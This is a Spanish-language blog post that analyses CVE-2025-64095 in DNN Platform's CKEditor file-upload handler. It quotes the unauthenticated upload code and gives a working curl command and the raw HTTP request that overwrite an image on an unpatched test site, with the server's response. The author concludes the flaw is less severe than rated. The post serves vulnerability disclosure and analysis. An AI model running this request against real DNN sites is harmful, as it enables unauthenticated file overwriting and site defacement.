
POC de Control de Acceso Insuficiente en DNN: la carga de imágenes permite sobrescribir el contenido del sitio.
POC de Control de Acceso Insuficiente de DNN: la subida de imágenes permite sobrescribir contenido del sitio
Soy un hombre sencillo, veo cvss:10/10 y entro xD
Vi este nuevo CVE CVE-2025-64095: Control de Acceso Insuficiente de DNN: la subida de imágenes permite sobrescribir contenido del sitio
El proveedor de editor HTML por defecto permite subidas de archivos no autenticadas y las imágenes pueden sobrescribir archivos existentes.
Descripción Un usuario no autenticado puede subir y reemplazar archivos existentes, lo que permite desfigurar un sitio web y, combinado con otras vulnerabilidades, inyectar payloads XSS.
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
Puntuación base: 10.0 CRÍTICA 🤷♂️
Resulta que no es tan crítica después de todo, ya que no puedes subir una webshell como ASP, ASPX, etc. (al menos en la configuración por defecto). Solo puedes subir imágenes + SVG. Solo puedes subir/sobrescribir archivos existentes en el servidor web, además en una ruta específica; ni siquiera puedes subir un archivo en el directorio raíz.
Dado que todas las versiones anteriores a 10.1.1 son vulnerables, tomé DNN Platform 10.1.0 (la última versión vulnerable)
El diff es un poco grande; solo me interesa el código relacionado con la subida de archivos, que está relacionado con Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. Así que me centré en comparar este archivo específico entre versiones para entender qué (si acaso algo) se corrigió en 10.1.1.
Permíteme mostrarte lo que encontré y cómo descubrí la vulnerabilidad.
Cuando empecé a mirar las dos versiones, el diff general mostraba 158 archivos modificados entre DNN Platform 10.1.0 y 10.1.1. La mayoría eran solo mejoras - espacios de nombres con ámbito de archivo. Pero necesitaba saber si la vulnerabilidad de subida de archivos estaba parcheada.
El archivo vulnerable se encuentra en Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs; este es el manejador de subida de archivos de CKEditor. Es una superficie de ataque común para vulnerabilidades de subida de archivos.
Observando el método ProcessRequest en 10.1.0:
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
Eso es todo. Literalmente no hay comprobación de autenticación. Cualquiera puede enviar una solicitud a este endpoint y subir archivos; no hay verificación de sesión, nada.
El flujo es el siguiente:
FileUploader.ashxProcessRequestHandleMethod, que enruta a UploadFileUploadFile llama a UploadWholeFileUploadWholeFile procesa la subida sin comprobar si el usuario ha iniciado sesiónToda la lógica de subida ocurre en UploadWholeFile, a partir de la línea 230. Déjame mostrarte las partes críticas:
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
Observa que en la línea 284 llaman a UserController.Instance.GetCurrentUserInfo() para obtener el userId, pero nunca verifican realmente si el usuario está autenticado. Si no has iniciado sesión, esto simplemente devuelve un usuario nulo o anónimo, pero la subida continúa de todos modos.
Observa también la propiedad OverrideFiles en la línea 268:
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
¡Este es un parámetro controlado por el usuario! Cualquiera puede establecer overrideFiles=1 en su solicitud de subida y sobrescribir archivos existentes.
Probé esto creando un simple comando curl:
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
solicitud POST en bruto
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
El archivo se subió correctamente. Lo verifiqué comprobando http://mysite.dnndev.me/Portals/_default/poc.png y efectivamente, ahí estaba.
y el archivo está alojado en el directorio \Portals_default :
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2025 4:16 PM 0 poc.png
PS C:\Users\pwn\Documents\site\web02>
Estaba buscando path traversal para sobrescribir los archivos en el directorio raíz , pero la protección es en realidad bastante buena. Mirando
var fileName = Path.GetFileName(file.FileName);
funciona correctamente. Path.GetFileName() elimina automáticamente cualquier secuencia de path traversal. Así que si alguien intenta subir un archivo llamado ../../../foo, se convierte simplemente en foo.
El código también tiene protecciones adicionales en "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (var i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
if (file is null)
{
continue;
}
var fileName = Path.GetFileName(file.FileName);
if (!string.IsNullOrEmpty(fileName))
{
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
}
else
{
throw new HttpRequestValidationException("File does not have a name");
}
if (fileName.Length > 220)
{
fileName = fileName.Substring(fileName.Length - 220);
}
// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
// Rename File if Exists
if (!OverrideFiles)
{
var counter = 0;
while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format(
"{0}_{1}{2}",
fileNameNoExtenstion,
counter,
Path.GetExtension(file.FileName));
}
}
como puedes ver en el código // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
Como dije, no creo que esto sea una vulnerabilidad crítica después de todo.